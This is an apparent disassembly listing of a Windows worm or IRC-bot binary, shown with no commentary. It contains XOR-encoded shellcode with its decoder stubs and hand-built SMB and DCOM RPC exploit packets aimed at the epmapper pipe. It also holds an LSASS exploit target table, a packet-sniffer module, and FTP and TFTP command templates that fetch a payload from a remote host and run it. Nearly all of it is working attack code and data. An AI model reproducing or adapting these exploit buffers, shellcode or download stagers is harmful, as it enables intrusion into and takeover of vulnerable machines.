dup(0) dd 6F6C3F3Ah, 6E6967h, 4 dup(0) dd 6F6C273Ah, 6E6967h, 4 dup(0) dd 6F6C603Ah, 6E6967h, 4 dup(0) dd 6F6C7E3Ah, 6E6967h, 4 dup(0) dd 6F6C203Ah, 6E6967h, 4 dup(0) dd 75612E3Ah, 6874h, 4 dup(0) dd 75612C3Ah, 6874h, 4 dup(0) dd 7561213Ah, 6874h, 4 dup(0) dd 7561403Ah, 6874h, 4 dup(0) dd 7561243Ah, 6874h, 4 dup(0) dd 7561253Ah, 6874h, 4 dup(0) dd 75615E3Ah, 6874h, 4 dup(0) dd 7561263Ah, 6874h, 4 dup(0) dd 75612A3Ah, 6874h, 4 dup(0) dd 75612D3Ah, 6874h, 4 dup(0) dd 75612B3Ah, 6874h, 4 dup(0) dd 75612F3Ah, 6874h, 4 dup(0) dd 75615C3Ah, 6874h, 4 dup(0) dd 75613D3Ah, 6874h, 4 dup(0) dd 75613F3Ah, 6874h, 4 dup(0) dd 7561273Ah, 6874h, 4 dup(0) dd 7561603Ah, 6874h, 4 dup(0) dd 75617E3Ah, 6874h, 4 dup(0) dd 7561203Ah, 6874h, 4 dup(0) dd 64692E3Ah, 5 dup(0) dd 64692C3Ah, 5 dup(0) dd 6469213Ah, 5 dup(0) dd 6469403Ah, 5 dup(0) dd 6469243Ah, 5 dup(0) dd 6469253Ah, 5 dup(0) dd 64695E3Ah, 5 dup(0) dd 6469263Ah, 5 dup(0) dd 64692A3Ah, 5 dup(0) dd 64692D3Ah, 5 dup(0) dd 64692B3Ah, 5 dup(0) dd 64692F3Ah, 5 dup(0) dd 64695C3Ah, 5 dup(0) dd 64693D3Ah, 5 dup(0) dd 64693F3Ah, 5 dup(0) dd 6469273Ah, 5 dup(0) dd 6469603Ah, 5 dup(0) dd 64697E3Ah, 5 dup(0) dd 6469203Ah, 5 dup(0) dd 61682E3Ah, 6E696873h, 4 dup(0) dd 6168213Ah, 6E696873h, 4 dup(0) dd 6168243Ah, 6E696873h, 4 dup(0) dd 6168253Ah, 6E696873h, 4 dup(0) dd 65732E3Ah, 65727563h, 4 dup(0) dd 6573213Ah, 65727563h, 4 dup(0) dd 6C2E3Ah, 5 dup(0) dd 6C213Ah, 5 dup(0) dd 6C243Ah, 5 dup(0) dd 6C253Ah, 5 dup(0) dd 782E3Ah, 5 dup(0) dd 78213Ah, 5 dup(0) dd 78243Ah, 5 dup(0) dd 78253Ah, 5 dup(0) dd 79732E3Ah, 6Eh, 4 dup(0) dd 7973213Ah, 6Eh, 4 dup(0) dd 7973243Ah, 6Eh, 4 dup(0) dd 7973253Ah, 6Eh, 4 dup(0) dd 4B444320h, 207965h, 4 dup(0) dd 4E494F4Ah, 2320h, 3 dup(0) dd 1, 4B43494Eh, 20h, 3 dup(0) dd 1, 5245504Fh, 20h, 3 dup(0) dd 1, 7265706Fh, 20h, 3 dup(0) dd 1, 20776F6Eh, 49206E61h, 4F204352h, 61726570h, 726F74h dd 1, 52455355h, 20h, 3 dup(0) dd 2, 53534150h, 20h, 3 dup(0) dd 2, 70796170h, 6C61h, 3 dup(0) dd 3, 50594150h, 4C41h, 3 dup(0) dd 3, 70796170h, 632E6C61h, 6D6Fh, 2 dup(0) dd 3, 50594150h, 432E4C41h, 4D4Fh, 2 dup(0) dd 3, 2D746553h, 6B6F6F43h, 3A6569h, 2 dup(0) dd 3, 6 dup(0) aHttp db 'HTTP',0 ; DATA XREF: ___:00426C74o align 4 off_4274D8 dd offset word_505446 ; DATA XREF: ___:00426C70o off_4274DC dd offset byte_435249 ; DATA XREF: ___:00426C6Co off_4274E0 dd offset word_544F42 ; DATA XREF: ___:off_426C68o unk_4274E4 db 2 ; DATA XREF: sub_402688+2FCo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 6Eh, 69h db 66h ; f db 66h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aErrorRecvFaile db 'Error: recv() failed, returned: <%d>',0 align 4 unk_427528 db 2 ; DATA XREF: sub_402688+2ABo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 6Eh, 69h db 66h ; f db 66h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aSuspiciousSPac db 'Suspicious %s packet from: %s:%d - %s.',0 align 4 aPsniff db '[PSNIFF]',0 ; DATA XREF: sub_402688+235o align 4 unk_427578 db 2 ; DATA XREF: sub_402688+186o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 6Eh, 69h db 66h ; f db 66h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aErrorWsaioctlF db 'Error: WSAIoctl() failed, returned: <%d>.',0 align 10h unk_4275C0 db 2 ; DATA XREF: sub_402688+103o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 6Eh, 69h db 66h ; f db 66h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aErrorBindFaile db 'Error: bind() failed, returned: <%d>.',0 align 4 unk_427604 db 2 ; DATA XREF: sub_402688+85o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 6Eh, 69h db 66h ; f db 66h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aErrorSocketF_1 db 'Error: socket() failed, returned: <%d>.',0 dword_427648 dd 30B0005h, 10h, 48h, 7Fh, 16D016D0h, 0 ; DATA XREF: sub_402DD7+E1o ; sub_402DD7+21Bo dd 1, 10001h, 1A0h, 0 dd 0C0h, 46000000h, 0 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dword_427694 dd 3000005h, 10h, 3E8h, 0E5h, 3D0h, 40001h, 60005h, 1 ; DATA XREF: sub_402B84+123o dd 0 dd 0FD582432h, 496445CCh, 0AEDD70B0h, 0D2962C74h, 0D5E60h dd 1, 0 dd 0D5E70h, 2, 0D5E7Ch, 0 dd 10h, 0F1F19680h, 11CE4D2Ah, 20006AA6h, 0F4726EAFh, 0Ch dd 4252414Dh, 1, 0 dd 0BAADF00Dh, 0 dd 0BF4A8h, 2 dup(360h), 574F454Dh, 4, 1A2h, 0 dd 0C0h, 46000000h, 338h, 0 dd 0C0h, 46000000h, 0 dd 330h, 328h, 0 dd 81001h, 0CCCCCCCCh, 0C8h, 574F454Dh, 328h, 0D8h, 0 dd 2, 7, 4 dup(0) dd 0CD28C4h, 0CD2964h, 0 dd 7, 1B9h, 0 dd 0C0h, 46000000h, 1ABh, 0 dd 0C0h, 46000000h, 1A5h, 0 dd 0C0h, 46000000h, 1A6h, 0 dd 0C0h, 46000000h, 1A4h, 0 dd 0C0h, 46000000h, 1ADh, 0 dd 0C0h, 46000000h, 1AAh, 0 dd 0C0h, 46000000h, 7, 60h, 58h, 90h, 40h, 20h, 78h, 30h dd 1, 81001h, 0CCCCCCCCh, 50h, 2088B64Fh, 0FFFFFFFFh, 13h dup(0) dd 81001h, 0CCCCCCCCh, 48h, 660007h, 20906h, 0 dd 0C0h, 46000000h, 10h, 2 dup(0) dd 1, 0 dd 0C1978h, 58h, 60005h, 1, 9398D870h, 11D24F98h, 57BE3DA9h dd 0B2h, 310032h, 81001h, 0CCCCCCCCh, 80h, 0BAADF00Dh dd 4 dup(0) dd 144318h, 0 dd 2 dup(60h), 574F454Dh, 4, 1C0h, 0 dd 0C0h, 46000000h, 33Bh, 0 dd 0C0h, 46000000h, 0 dd 30h, 10001h, 317C581h, 4AE90E80h, 8AF19999h, 857A6F50h dd 2, 5 dup(0) dd 1, 81001h, 0CCCCCCCCh, 30h, 6E0078h, 0 dd 0DDAD8h, 2 dup(0) dd 0C2F20h, 2 dup(0) dd 3, 0 dd 3, 580046h, 0 dd 81001h, 0CCCCCCCCh, 10h, 2E0030h, 4 dup(0) dd 81001h, 0CCCCCCCCh, 68h, 0FFFF000Eh, 0B8B68h, 2, 3 dup(0) dword_4279F8 dd 20h, 0 ; DATA XREF: sub_402B84+136o dd 20h, 5C005Ch, 0 off_427A0C dd offset unk_43005C ; DATA XREF: sub_402B84+15Do dd offset dword_5C0024 a12345611111111: unicode 0, <123456111111111111111.doc>,0 dd 0 dword_427A4C dd 81001h, 0CCCCCCCCh, 20h, 2D0030h, 0 ; DATA XREF: sub_402B84+174o dd 0C2A88h, 2, 1, 0C8C28h, 1, 7, 2 dup(0) off_427A80 dd offset word_580046 ; DATA XREF: sub_402B84+45o dd offset loc_42004C+2 dd offset word_580046 dd offset word_580046 dd offset loc_42004C+2 dd offset word_580046 dd offset word_580046 dd offset word_580046 dd offset word_580046 dd 0FFFFFFFFh, 2 dup(7FFDE0CCh), 0 aRrrrrrrrrrrrrr db '' db '' db '',0 dword_427B5C dd 18759Fh ; DATA XREF: sub_402B84+104o dword_427B60 dd 100139Dh ; DATA XREF: sub_402B84+FBo off_427B64 dd offset dword_5C005C ; DATA XREF: sub_4029E9+1Co ; sub_402ACC+16o dd 0 off_427B6C dd offset dword_49005C ; DATA XREF: sub_4029E9+Co ; sub_402ACC+Bo dd offset dword_430050 dd 24h unk_427B78 db 2 ; DATA XREF: sub_402DD7+299o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 74h, 66h, 74h db 70h ; p db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aTransferComple db ' transfer complete to IP: %s',0 align 10h aSPipeEpmapper db '\\%s\pipe\epmapper',0 ; DATA XREF: sub_402DD7+41o align 8 jmp short loc_427BDA ; =============== S U B R O U T I N E ======================================= sub_427BCA proc far ; CODE XREF: sub_427BCA:loc_427BDAp pop ebx dec ebx xor ecx, ecx mov cx, 125h loc_427BD2: ; CODE XREF: sub_427BCA+Cj xor byte ptr [ebx+ecx], 99h loop loc_427BD2 jmp short loc_427BDF ; --------------------------------------------------------------------------- loc_427BDA: ; CODE XREF: ___:00427BC8j call near ptr sub_427BCA loc_427BDF: ; CODE XREF: sub_427BCA+Ej jo short loc_427C43 cdq cdq cdq mov ch, 38h test eax, 12999999h fst dword ptr [ebp+3485E912h] adc dh, cl xchg eax, ecx adc ch, [esi-0Dh] popf sal byte ptr [ecx+2], 99h cdq cdq jnp short loc_427C61 icebp stosb stosd cdq cdq icebp out dx, al jmp far ptr 128Fh:66CDC6ABh ; --------------------------------------------------------------------------- db 71h dd 71C09DF3h, 9999991Bh, 7518607Bh, 99999809h, 9898F1CDh dd 0CF669999h, 0C9C9C989h, 0D9C9D9C9h, 8DCF66C9h, 0E6F14112h dd 0F1989999h, 4B9D999Bh ; --------------------------------------------------------------------------- adc dl, [ebp-0Dh] loc_427C43: ; CODE XREF: sub_427BCA:loc_427BDFj mov eax, ecx retf 0CF66h ; --------------------------------------------------------------------------- dd 0EC591C81h, 0F4FAF1D3h, 0FF1099FDh, 0CD751AA9h, 0F3BDA514h dd 7B32C08Ch db 64h ; --------------------------------------------------------------------------- loc_427C61: ; CODE XREF: sub_427BCA+35j pop edi fnstsw word ptr [ebp-22982277h] mov ebp, 0BDC510A4h rcl dword ptr [eax], 1 lds edi, [ebp-423AEF2Bh] leave adc al, 0DDh mov ebp, 0C8C9CD89h enter 0FFFFF3C8h, 98h enter 66C8h, 0EFh test eax, 9DCF66C8h adc dl, [ebp-0Dh] db 66h, 66h test al, 66h iret sub_427BCA endp ; sp-analysis failed ; --------------------------------------------------------------------------- xchg eax, ecx retf 0CF66h ; --------------------------------------------------------------------------- dw 6685h dd 0CFC895CFh, 12A5DC12h, 9AE1B1CDh, 0EB12CB4Ch, 0AA6C9AB9h dd 34D8D050h, 42AA5C9Ah, 0A3892796h, 5891ED4Fh, 439A9452h dd 0A26872D9h, 0C37EEC86h, 9ABDC312h, 9512FF44h, 85C312D2h dd 9D12449Ah, 325C9A12h, 715AC0C7h, 66666699h, 7597D717h dd 8F2A67EBh, 579C4034h, 0F9795776h, 0A2657452h, 346C9040h dd 0F9336075h, 0E05FE07Eh, 0 ; --------------------------------------------------------------------------- loc_427D08: ; DATA XREF: sub_403249+156o ; sub_403249+212o jmp short loc_427D1A ; =============== S U B R O U T I N E ======================================= sub_427D0A proc near ; CODE XREF: sub_427D0A:loc_427D1Ap pop edx dec edx xor ecx, ecx mov cx, 17Dh loc_427D12: ; CODE XREF: sub_427D0A+Cj xor byte ptr [edx+ecx], 99h loop loc_427D12 jmp short loc_427D1F ; --------------------------------------------------------------------------- loc_427D1A: ; CODE XREF: ___:loc_427D08j call sub_427D0A loc_427D1F: ; CODE XREF: sub_427D0A+Ej jo short near ptr dword_427C98+1Eh cwde cdq cdq retn sub_427D0A endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0FDh, 38h, 0A9h dd 12999999h, 0E91295D9h, 0D9123485h, 12411291h, 0ED12A5EAh dd 6A9AE187h, 9AB9E712h, 8DD71262h, 0CECF74AAh, 9AA612C8h dd 0F36B1262h, 3F6AC097h, 0C6C091EDh, 0DC9D5E1Ah, 0C6C0707Bh dd 125412C7h, 5A9ABDDFh, 589A7848h, 12FF50AAh, 85DF1291h dd 78585A9Ah, 12589A9Bh, 125A9A99h, 1A6E1263h, 4912975Fh dd 71C09AF3h, 9999991Eh, 0CB945F1Ah, 65CE66CFh, 0F34112C3h dd 0ED71C09Ch, 0C9999999h, 0F3C9C9C9h, 669BF398h, 411275CEh dd 999B9E5Eh dword_427DB8 dd 59AA4B9Dh, 0F39DDE10h, 66CACE89h, 98F369CEh, 6DCE66CAh ; DATA XREF: sub_403249+105o dd 66CAC9C9h, 491261CEh, 12DD751Ah, 0F359AA6Dh, 9D10C089h dd 10627B17h, 0CF10A1CFh, 0D9CF10A5h, 0B5DF5EFFh, 0DE149898h dd 0AACFC989h, 0C8C8C850h, 0C8C898F3h, 0FAA5DE5Eh, 1499FDF4h dd 0C8C9A5DEh, 0CB79CE66h, 0CA65CE66h, 0C965CE66h, 0AA7DCE66h dd 591C3559h, 0CBC860ECh, 4B66CACFh, 7B32C0C3h, 5A59AA77h dd 66677671h, 0EDFCDE66h, 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh dd 0F8FCEBDAh, 0EBC9FCEDh, 0EAFCFAF6h, 0DC99D8EAh, 0CDEDF0E1h dd 0F8FCEBF1h, 0F6D599FDh, 0F0D5FDF8h, 0EBF8EBFBh, 0EE99D8E0h dd 0AAC6ABEAh, 0CACE99ABh, 0FAF6CAD8h, 0D8EDFCF2h, 0F7F0FB99h dd 0F0F599FDh, 0F7FCEDEAh, 0FAFAF899h, 99EDE9FCh, 0EAF6F5FAh dd 0FAF6EAFCh, 99EDFCF2h, 0 dword_427EA0 dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0) ; DATA XREF: ___:0040370Do dd 0FEFF0000h, 0 dd 2006200h aPcNetworkProgr db 'PC NETWORK PROGRAM 1.0',0 db 2 db 4Ch ; L db 41h, 4Eh, 4Dh db 41h ; A db 4Eh, 31h, 2Eh db 30h ; 0 align 2 dw 5702h aIndowsForWorkg db 'indows for Workgroups 3.1a',0 db 2 dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh dd 544E0200h, 204D4C20h, 32312E30h, 0 dword_427F2C dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: ___:00403739o dd 0FEFF0000h, 100000h, 0A400FF0Ch, 0A110400h, 0 dd 20000000h, 0 dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h dd 4 dup(0) aWindows2000219: unicode 0, <Windows 2000 2195>,0 aWindows20005_0: unicode 0, <Windows 2000 5.0>,0 align 8 dword_427FD8 dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: ___:00403760o dd 0FEFF0000h, 200800h, 0DA00FF0Ch, 0A110400h, 0 dd 57000000h, 0 dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h dd 0 dd 47000000h, 0 dd 40000000h, 0 dd 40000000h, 6000000h, 40000600h, 10000000h, 47001000h dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h dd 320020h, 300030h, 200030h, 310032h, 350039h, 570000h dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h, 200030h dd 2E0035h, 30h, 0 dword_4280B8 dd 5C000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_403249+58o dd 0FEFF0000h, 300800h, 5C00FF04h, 1000800h, 3100h, 5C005Ch dd 390031h, 2E0032h, 360031h, 2E0038h, 2E0031h, 310032h dd 5C0030h, 500049h aC: ; DATA XREF: sub_403249+8Ao unicode 0, <C$>,0 a????? db '?????',0 dd 0 dword_42811C dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_403249+2AAo dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h, 0 dd 2019Fh, 3 dup(0) dd 3, 1, 40h, 2, 1103h, 6C005Ch, 610073h, 700072h, 63h dd 0 dword_428188 dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_403249+2D1o dd 4DC0800h, 500800h, 48000010h, 0 dd 4, 2 dup(0) dd 48005400h, 2005400h, 2600h, 10005940h, 50005Ch, 500049h dd 5C0045h, 0 dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0 dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh, 0F52ED94Fh dd 0 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dword_42822C dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_403249+3B0o dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0) dd 0A0005400h, 200540Ch, 2600h, 100CB140h, 50005Ch, 500049h dd 5C0045h, 0 dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0 dd 3ECh, 0 off_4282AC dd offset loc_401493+2 ; DATA XREF: sub_403249+3DEo dd 3, 40707Ch, 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd offset loc_407079+3 dd 1, 0 dd 1, 0 dd offset loc_407079+3 dd 1, 0 dd 1, 0 dd offset loc_407079+3 dd 1, 0 dd 1, 0 dd 138578h, 0E9A65BABh, 0 dword_428340 dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0) ; DATA XREF: sub_403249+306o dd 0FEFF0800h, 600800h, 0DE00FF0Eh, 4000DEh, 0FF000000h dd 8FFFFFFh, 10B800h, 4010B800h, 0 dd 0EE10B900h, 1000005h, 10h, 10B8h, 1, 200Ch, 90000h dd 0DADh, 0 dd 0DADh, 0 dword_4283AC dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_403249+331o dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0) dd 84005400h, 200540Fh, 2600h, 0F9540h, 50005Ch, 500049h dd 5C0045h, 0 dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 0 dword_428420 dd 0 ; DATA XREF: sub_403249+35Fo dd offset loc_40A899+1 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd offset loc_40A899+1 dd 1, 0 dd 1, 0 dd offset loc_40A899+1 dd 1, 0 dd 1, 0 dd offset loc_40A899+1 dd 1, 0 dd 1, 3 dup(0) aWinxpProfessio db 'WinXP Professional [universal] lsass.exe ',0 align 10h dword_4284E0 dd 1004600h ; DATA XREF: sub_403249+140r ; sub_403249+245r dd 1, 326E6957h, 7250206Bh, 7365666Fh, 6E6F6973h, 20206C61h dd 755B2020h, 6576696Eh, 6C617372h, 656E205Dh, 70617274h dd 6C6C642Eh, 2 dup(0) dd 7515123Ch, 2, 326E6957h, 6441206Bh, 636E6176h, 53206465h dd 65767265h, 535B2072h, 205D3450h, 20202020h, 656E2020h dd 70617274h, 6C6C642Eh, 2 dup(0) dd 751C123Ch, 0Fh dup(0) dword_428598 dd 0A0D7325h, 0 ; DATA XREF: sub_4030E8+102o ; sub_405144+DFo ... aEchoOpenSDOEch db 'echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &echo qu' ; DATA XREF: sub_4030E8+BEo db 'it >> o &ftp -n -s:o &del /F /Q o &%s',0Dh,0Ah,0 align 4 aTftpISGetS db 'tftp -i %s get %s',0Dh,0Ah,0 ; DATA XREF: sub_4030E8+97o ; --------------------------------------------------------------------------- loc_428620: ; DATA XREF: sub_403249+177o jmp short loc_428628 ; --------------------------------------------------------------------------- jmp short loc_42862A ; --------------------------------------------------------------------------- align 8 loc_428628: ; CODE XREF: ___:loc_428620j ; DATA XREF: sub_403249+27o pop esp pop esp loc_42862A: ; CODE XREF: ___:00428622j and eax, 70695C73h arpl [eax+eax], sp ; --------------------------------------------------------------------------- dw 0 dword_428634 dd 1CEC8166h ; DATA XREF: sub_403249+Dr dword_428638 dd 0E4FF07h ; DATA XREF: sub_403249+16r byte_42863C db 90h ; DATA XREF: sub_403A90+B2o db 42h, 90h, 42h db 90h dd offset word_429042 align 4 dword_428648 dd 10FF8h, 0 ; DATA XREF: sub_403A90+6Ao dword_428650 dd 10FF8h ; DATA XREF: sub_403A90+79o dword_428654 dd 7FFDF020h, 0 ; DATA XREF: sub_403A90+162o dword_42865C dd 424D53FFh, 72h, 0C8531800h, 3 dup(0) ; DATA XREF: sub_403EBA+7Bo dd 13370000h, 0 dd 2006200h aPcNetworkPro_0 db 'PC NETWORK PROGRAM 1.0',0 db 2 db 4Ch ; L db 41h, 4Eh, 4Dh db 41h ; A db 4Eh, 31h, 2Eh db 30h ; 0 align 2 dw 5702h aIndowsForWor_0 db 'indows for Workgroups 3.1a',0 db 2 dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh dd 544E0200h, 204D4C20h, 32312E30h, 0 dword_4286E4 dd 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_403EBA+34o dd 13370000h, 0 dd 0FF0Ch, 0A110400h, 2 dup(0) dword_428714 dd 0 ; DATA XREF: sub_403EBA+44o dd 800000D4h, 0 unk_428720 db 81h ; ; DATA XREF: sub_403F94+Ao db 2 dup(0), 44h aCkfdenecfdeffc db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0 aCacacacacacaca db ' CACACACACACACACACACACACACACACAAA',0 dd 0 byte_42876C db 41h ; DATA XREF: sub_404032+107r aBcdefghijklmno db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0 align 10h ; =============== S U B R O U T I N E ======================================= sub_4287B0 proc near ; DATA XREF: ___:0040430Fo push ebx push esi push edi sub sp, 80h mov esi, esp call sub_4288AC push dword ptr [esi] push 63D61209h call sub_4288C2 mov [esi+8], eax call sub_428875 push dword ptr [esi+4] push 0CA2BD06Bh call sub_4288C2 mov [esi+0Ch], eax call sub_428827 push dword ptr [esi+4] push 4C0297FAh call sub_4288C2 xor ebx, ebx push 410h push ebx call eax mov ebx, eax push esi mov esi, [esi+10h] mov edi, eax mov ecx, 410h rep movsb pop esi xor eax, eax push eax push eax push eax push ebx push eax push eax call dword ptr [esi+0Ch] mov eax, [esi+8] add sp, 80h pop edi pop esi pop ebx jmp eax sub_4287B0 endp ; =============== S U B R O U T I N E ======================================= sub_428827 proc near ; CODE XREF: sub_4287B0+33p var_20 = dword ptr -20h var_14 = dword ptr -14h pusha call sub_428850 mov eax, [esp+20h+var_14] lea ebx, [eax+7Ch] add dword ptr [ebx+3Ch], 5 add dword ptr [ebx+28h], 1000h and dword ptr [ebx+28h], 0FFFFF000h mov eax, [esp+20h+var_20] add esp, 14h push eax xor eax, eax retn sub_428827 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_428850 proc near ; CODE XREF: sub_428827+1p xor edx, edx push dword ptr fs:[edx] mov fs:[edx], esp xor ebx, ebx mov eax, 42904290h loc_42885F: ; CODE XREF: sub_428850+1Aj xor ecx, ecx mov cl, 2 mov edi, ebx repe scasd jz short loc_42886C inc ebx jmp short loc_42885F ; --------------------------------------------------------------------------- loc_42886C: ; CODE XREF: sub_428850+17j mov [esi+10h], edi pop dword ptr fs:[edx] pop eax popa retn sub_428850 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_428875 proc near ; CODE XREF: sub_4287B0+1Ep pusha mov edi, 7FFDF020h mov ebx, [edi] mov eax, [esi+8] mov [edi], eax mov edi, [edi-8] add edi, 178h mov ecx, edi loc_42888D: ; CODE XREF: sub_428875+1Ej cmp [ecx], ebx jz short loc_428895 mov ecx, [ecx] jmp short loc_42888D ; --------------------------------------------------------------------------- loc_428895: ; CODE XREF: sub_428875+1Aj mov edx, edi loc_428897: ; CODE XREF: sub_428875+2Aj cmp [edx+4], ebx jz short loc_4288A1 mov edx, [edx+4] jmp short loc_428897 ; --------------------------------------------------------------------------- loc_4288A1: ; CODE XREF: sub_428875+25j mov [ecx], edx mov [edx+4], ecx mov byte ptr [ebx-3], 1 popa retn sub_428875 endp ; =============== S U B R O U T I N E ======================================= sub_4288AC proc near ; CODE XREF: sub_4287B0+Ap mov eax, ds:7FFDF00Ch mov eax, [eax+1Ch] mov ebx, [eax+8] mov [esi], ebx mov eax, [eax] mov eax, [eax+8] mov [esi+4], eax retn sub_4288AC endp ; =============== S U B R O U T I N E ======================================= sub_4288C2 proc near ; CODE XREF: sub_4287B0+16p ; sub_4287B0+2Bp ... var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 pusha mov ebp, [esp+20h+arg_4] mov eax, [ebp+3Ch] mov edx, [ebp+eax+78h] add edx, ebp mov ecx, [edx+18h] mov ebx, [edx+20h] add ebx, ebp loc_4288D8: ; CODE XREF: sub_4288C2+33j jecxz short loc_428912 dec ecx mov esi, [ebx+ecx*4] add esi, ebp xor edi, edi xor eax, eax cld loc_4288E5: ; CODE XREF: sub_4288C2+2Dj lodsb cmp al, ah jz short loc_4288F1 ror edi, 0Dh add edi, eax jmp short loc_4288E5 ; --------------------------------------------------------------------------- loc_4288F1: ; CODE XREF: sub_4288C2+26j cmp edi, [esp+20h+arg_0] jnz short loc_4288D8 mov ebx, [edx+24h] add ebx, ebp mov cx, [ebx+ecx*2] mov ebx, [edx+1Ch] add ebx, ebp mov eax, [ebx+ecx*4] add eax, ebp mov [esp+20h+var_4], eax popa retn 8 ; --------------------------------------------------------------------------- loc_428912: ; CODE XREF: sub_4288C2:loc_4288D8j ; sub_4288C2:loc_428912j jmp short loc_428912 sub_4288C2 endp ; --------------------------------------------------------------------------- align 8 ; =============== S U B R O U T I N E ======================================= sub_428918 proc near ; DATA XREF: ___:004042BFo arg_0 = dword ptr 4 add esp, 0FFFFF254h cld call sub_42896A mov eax, [ebp+3Ch] mov edi, [ebp+eax+78h] add edi, ebp mov ecx, [edi+18h] mov ebx, [edi+20h] add ebx, ebp loc_428935: ; CODE XREF: sub_428918+38j jecxz short loc_428965 dec ecx mov esi, [ebx+ecx*4] add esi, ebp xor eax, eax cdq loc_428940: ; CODE XREF: sub_428918+32j lodsb test al, al jz short loc_42894C ror edx, 0Dh add edx, eax jmp short loc_428940 ; --------------------------------------------------------------------------- loc_42894C: ; CODE XREF: sub_428918+2Bj cmp edx, [esp+arg_0] jnz short loc_428935 mov ebx, [edi+24h] add ebx, ebp mov cx, [ebx+ecx*2] mov ebx, [edi+1Ch] add ebx, ebp mov ebx, [ebx+ecx*4] add ebx, ebp loc_428965: ; CODE XREF: sub_428918:loc_428935j mov [esp+arg_0], ebx retn sub_428918 endp ; =============== S U B R O U T I N E ======================================= sub_42896A proc near ; CODE XREF: sub_428918+7p ; FUNCTION CHUNK AT 004289A2 SIZE 00000007 BYTES xor eax, eax mov eax, fs:[eax+30h] test eax, eax js short loc_428983 mov eax, [eax+0Ch] mov esi, [eax+1Ch] lodsd mov ebp, [eax+8] jmp loc_42898E ; --------------------------------------------------------------------------- loc_428983: ; CODE XREF: sub_42896A+8j mov eax, [eax+34h] add eax, 7Ch mov ebp, [eax+3Ch] loc_42898E: ; CODE XREF: sub_42896A+14j pop edi xor esi, esi pusha push esi jmp short loc_4289A2 sub_42896A endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_428995 proc near ; CODE XREF: sub_42896A:loc_4289A2p push 60E0CEEFh push 0E8AFE98h push edi jmp edi sub_428995 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42896A loc_4289A2: ; CODE XREF: sub_42896A+29j call sub_428995 loc_4289A7: ; DATA XREF: sub_403A35+1Bo ; sub_40EE72+822o add [ebx], ah ; END OF FUNCTION CHUNK FOR sub_42896A ; --------------------------------------------------------------------------- db 3 dup(0) dword_4289AC dd 60h ; DATA XREF: sub_403A90+320o dword_4289B0 dd 62B0606h, 2050501h, 0A0h ; DATA XREF: sub_403A90+2F5o dword_4289BC dd 30h ; DATA XREF: sub_403A90+2CAo dword_4289C0 dd 0A1h 